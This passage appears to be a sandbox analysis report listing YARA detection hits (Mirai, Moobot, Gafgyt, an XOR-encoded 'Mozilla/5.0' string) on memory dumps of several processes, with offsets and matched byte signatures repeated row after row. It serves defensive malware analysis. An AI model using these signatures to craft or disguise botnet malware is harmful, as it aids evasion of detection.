2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6515.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6952.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7294.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6236.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7000.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7000.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7000.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7000.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7000.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7000.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6736.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6736.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6736.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6736.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6736.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6736.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7294.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7294.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7294.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7294.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7294.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7294.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6515.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6673.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7304.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7066.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7066.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7066.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7066.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7066.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7066.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6700.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6323.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6337.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7017.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7017.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7017.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7017.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7017.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 